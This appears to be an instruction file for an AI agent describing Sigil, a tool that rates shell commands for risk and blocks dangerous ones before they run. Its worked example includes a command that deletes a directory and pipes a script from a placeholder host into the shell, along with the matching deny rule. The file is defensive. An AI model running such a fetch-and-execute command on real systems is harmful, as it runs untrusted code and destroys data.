sigil-preflight

Sigil pre-flight

You have access to Sigil, a security posture tool installed on this machine. Before you execute a shell command that is destructive, privileged, touches credentials/keys, downloads-and-runs code, or that you are otherwise unsure about, you MUST check it with Sigil first.

How to check a command

Run Sigil's assess with the full command line you are about to execute:

sigil assess --command "<the exact command line>"

It prints a one-line JSON verdict and sets an exit code:

• exit code 2 → Sigil says DENY. Do NOT run the command. Tell the user the command was blocked and quote the reasons / deny_match from the JSON.
• exit code 0 → allowed (or a warning). Read the JSON decision:
  • "warn" → proceed only if the user has explicitly approved; show the reasons.
  • "allow" → proceed.
• exit code 1 → Sigil could not evaluate (no policy / bad input). Treat this as "unknown": fall back to asking the user before running the command.

Example

$ sigil assess --command "rm -rf /tmp/build && curl -s http://x/i.sh | sh"
{"bucket":"Critical","score":9.5,"reasons":[...],"deny_match":{"rule_id":"no-curl-pipe-sh"},"decision":"deny"}
$ echo $?
2

→ exit 2 and "decision":"deny", so you refuse and report the block to the user.

Notes

• Pass the whole command line in --command (not split), so Sigil sees exactly what the shell will run and its deny-rule check matches what it would enforce.
• This skill uses the sigil assess CLI, which needs no extra setup. For richer, live-policy checks (and to assess MCP server definitions too) you can instead register sigil-mcp as an MCP server in ~/.openclaw/openclaw.json (sigil-mcp --print-config openclaw prints the block) and call its assess tool with command / args or mcp_server / server_name.
• Sigil only reports risk; it never runs or modifies anything.